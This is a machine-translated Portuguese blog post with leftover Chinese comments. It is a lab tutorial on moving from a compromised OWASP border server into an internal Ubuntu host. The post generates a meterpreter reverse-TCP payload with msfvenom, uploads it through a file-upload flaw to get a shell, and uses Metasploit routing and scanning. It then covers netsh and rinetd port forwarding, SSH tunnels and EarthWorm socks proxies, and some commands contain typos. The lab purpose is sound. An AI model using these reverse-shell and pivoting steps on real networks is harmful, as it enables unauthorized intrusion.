Segurança da intranet --- Penetração de host de fronteira

1. Construção de ambiente simples

Um VPS, um servidor de fronteira OWASP, um servidor interno Ubuntu Server

A topologia da rede é mostrada na figura:
Insira a descrição da imagem aqui

Com relação à implantação do ambiente, configure duas placas de rede no servidor OWSAP, uma para o IP externo e outra para o IP interno.

# 具体配置在/etc/network/interface
# 这里设置静态IP
auto eth0
iface eth0 inet static
address 192.168.101.100
netmask 255.255.255.0
gateway 192.168.101.2

auto eth1
iface eth1 inet static
address 192.168.100.100
netmask 255.255.255.0

Objetivo: Após obter o shell do OWASP WEB Server, como descobrir e acessar o servidor Ubuntu Server (para operação em VPS)

Vários métodos comuns:

1、使用Metasploit框架,设置OWASP服务器自动路由。(将获取到的边界主机作为路由器)
2、使用端口转发的技术,将OWASP的某个端口转发到内网服务器的相应端口从而进行访问。
3、使用正向代理技术,通过OWASP服务器去访问内网服务器。

Dois, Metasploit configurar roteamento

Use vulnerabilidades de upload de arquivo existentes para fazer upload do Trojan gerado e, em seguida, monitore para obter um shell.

Aqui, use msfvenom para gerar um cavalo Linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.101.100 LPOST=9999 -f elf -o ./shell

Carregue o shell gerado, o VPS abre o msfconsole

# 使用linux/x86/meterpreter/reverse_tcp模块监听端口
use linux/x86/meterpreter/reverse_tcp
# 设置主机和端口
set LHOST 192.168.101.100
set LPORT 9999

Execute o arquivo binário shell no host de destino, e o VPS obtém uma sessão:

Insira a descrição da imagem aqui

# 执行post/multi/autoroute,将目标主机作为路由
# 通过run autoroute -p可以查看路由
# 将此会话放到后台background

Em seguida, use o módulo auxiliary / sacnner / discovery / arp_sweep para escanear os hosts ativos na intranet

use auxiliary/scanner/discovery/arp_sweep
# 设置扫描的目标,这里扫描内网主机
set RHOSTS 192.168.100.0/24 

Insira a descrição da imagem aqui

Para escanear os serviços abertos dos hosts ativos na intranet, você pode usar auxiliary / scanner / portscan / tcp

use auxiliary/scanner/portscan/tcp
# 设置目标主机ip,选取存活主机或者直接网段扫描
set rhosts 192.168.100.101

Insira a descrição da imagem aqui

Três, encaminhamento de porta e mapeamento

Entre na intranet por meio de encaminhamento de porta. Acesse uma determinada porta do host shell e encaminhe o tráfego dessa porta para uma porta específica na intranet.

1. Encaminhamento de porta no Windows

(No ambiente construído, o host pode acessar diretamente três máquinas virtuais, enquanto o VPS não pode acessar diretamente o Ubuntu Server na intranet)

Use a ferramenta netsh para fazer o encaminhamento de porta:

# 配置监听端口和转发端口
netsh interface portproxy add v4tov4 listenaddress=ip listenport=port connectaddress=target_ip connectport=target_port

# 查看配置完成的转发规则
netsh interface protproxy show v4tov4

# 清除转发规则信息
netsh interface protproxt reset

Vamos fazer um experimento. Visite a porta 9999 do host e encaminhe o tráfego para a porta 80 do servidor OWASP:

# 在主机Win10中设置转发规则
netsh interface portproxy add v4tov4 listenaddress=192.168.0.102 listenport=9999 connectaddress=192.168.101.100 connectport=80

Insira a descrição da imagem aqui

Acessar a porta 9999 do host por meio de VPS encaminhará o tráfego para a porta 80 do servidor OWASP e retornará à página principal do OWASP.

2. Encaminhamento de porta no Linux

Ferramentas Rinetd

Ferramenta de encaminhamento de portas Rinetd: https://github.com/boutell/rinetd.git

# 安装,以root权限
git clone https://github.com/boutell/rinetd.git
# 进入rinetd目录
make && make install

Configure a porta de escuta e encaminhamento de host e porta por meio do arquivo de configuração

# /etc/rinetd.conf
# bindaddress	bindport	connectaddress	connectport
# 启动服务器
rinetd -c /etc/rinetd.conf

Usando o VPS como um trampolim, encaminhe o tráfego da porta VPS 7777 para a porta 80 do servidor OWASP e acesse a porta VPS 7777 por meio do host. A configuração de / etc / rinetd é a seguinte

# bindaddress	bindport	connectaddress	connectport
192.168.101.130	7777	192.168.101.100	80
# 执行
rinetd -c /etc/rinetd.conf

Insira a descrição da imagem aqui

Ao usar o host para acessar 192.168.101.130:7777, ele retornará à página da porta 80 do servidor OWASP

Tecnologia de túnel SSH

Por meio do servidor SSH, o encaminhamento de porta também é possível, também chamado de túnel SSH

(1) Estabelecer um túnel SSH local

O acesso à intranet por meio de um servidor SSH intermediário pode contornar as restrições do firewall. (Use o servidor SSH como um trampolim para acessar a rede interna)

Os comandos usados ​​são os seguintes:

ssh -g -L LPORT:RHOST:RPORT -fN LHOST

# -L参数表示做本地的端口映射:RHOST和RPORT是目标主机和端口,LPORT是SSH服务器的端口
# -f参数表示SSH客户端在后台运行
# -N参数表示该连接不做任何操作,仅用于端口转发
# -g参数表示允许外来主机连接本地转发端口(不指定的话只允许本地连接)

Caso experimental: Estabeleça um túnel SSH local no VPS, use o servidor OWASP como o servidor SSH, faça o mapeamento da porta e mapeie a porta 80 na intranet para a porta local 9000

# VPS IP地址为192.168.101.130
# Ubuntu Server IP地址为192.168.100.101
# OWASP服务器IP地址为192.168.101.100
# 在VPS上,以OWASP服务器作为跳板,做本地SSH隧道
ssh -L 9000:192.168.100.101:80 -fN 192.168.101.100

Insira a descrição da imagem aqui

(Use OWASP como servidor SSH, você precisa saber a senha OWASP)

Verificando a porta de escuta, você pode descobrir que a porta 9000 é monitorada localmente e a porta 9000 é acessada localmente e, finalmente, o tráfego é encaminhado para a porta 80 do host da intranet

Insira a descrição da imagem aqui

(2) Estabelecer um túnel SSH remoto

O túnel SSH remoto é geralmente usado quando a rede externa não pode acessar a rede interna, mas a rede interna pode sair, como permitir que o host da rede externa acesse a rede interna.

Considere a seguinte situação:

Insira a descrição da imagem aqui

Devido às restrições do firewall, o host 1 pode acessar hosts externos, mas o tráfego de hosts externos não pode entrar no host 1.

Nesse caso, um túnel SSH remoto pode ser estabelecido no host 1, ou seja, um túnel SSH pode ser estabelecido entre o host da rede externa e o host 1.

ssh -R 9999:192.168.100.101:80 -fN 192.168.101.128

Desta forma, a porta remota 9999 é mapeada para a porta 80 da intranet 192.168.100.101

(9999 é a porta remota, que é relativa ao host 1. A porta 9999 é a porta do host da rede externa)

O túnel SSH local usa o host de fronteira como um trampolim para obter acesso ao host da intranet. O túnel SSH remoto é usado em mais lugares onde a rede externa não pode acessar a rede interna. Ao controlar o host da rede interna, um túnel SSH é estabelecido com a rede externa.

Quatro, tecnologia de agente

O proxy é dividido em proxy de encaminhamento e proxy reverso:

Proxy de encaminhamento: proxy de cliente (como VPN)

Proxy reverso: proxy do lado do servidor (como balanceamento de carga)

Na segurança da intranet, o proxy de encaminhamento é usado com mais frequência. Use o host intermediário como um proxy para acessar o host interno

Proxy Socks5: um entendimento simples é encaminhar o tráfego sem fazer nenhum processamento

Ferramenta EarthWorm

Artefato de penetração da intranet: http://github.com/idlefire/ew

# rcsocks客户端,监听端口以及转发端口
# rsscoks服务端,指定连接的主机以及端口

Faça o seguinte experimento: use o servidor OWSAP como servidor proxy e VPS como cliente para acessar o servidor Ubuntu da intranet

Execute os seguintes comandos no cliente VPS:

# 本地监听1080端口,转发端口设置为10000
./ew_for_linux64 -s rcsocks -l 1080 -e 10000
# vim /etc/proxychains.conf	全局代理配置
# 添加监听的主机以及端口(添加自己主机IP和端口)
socks5 192.168.101.128 1080

Insira a descrição da imagem aqui

A seguir, abra o servidor no OWASP:

# 连接客户端主机的10000端口
./ew_for_Linux32 -s rssocks -d 192.168.101.128 -e 10000

Configure o proxy socks5 no navegador para acessar o servidor da intranet

Insira a descrição da imagem aqui

Agente SSH

Também é relativamente simples usar SSH como proxy, use o parâmetro -D

# 指定本地监听端口以及ssh服务器(将ssh服务器作为代理服务器)
ssh -D lport Rhost

Semelhante ao anterior, com o servidor OWASP como servidor proxy, o VPS executa o comando ssh

ssh -D 1080 [email protected]

Configure o proxy socks5 no navegador (host 127.0.0.1), então você pode acessar o servidor de intranet

Acho que você gosta

Origin blog.csdn.net/gental_z/article/details/112981963
Recomendado
Clasificación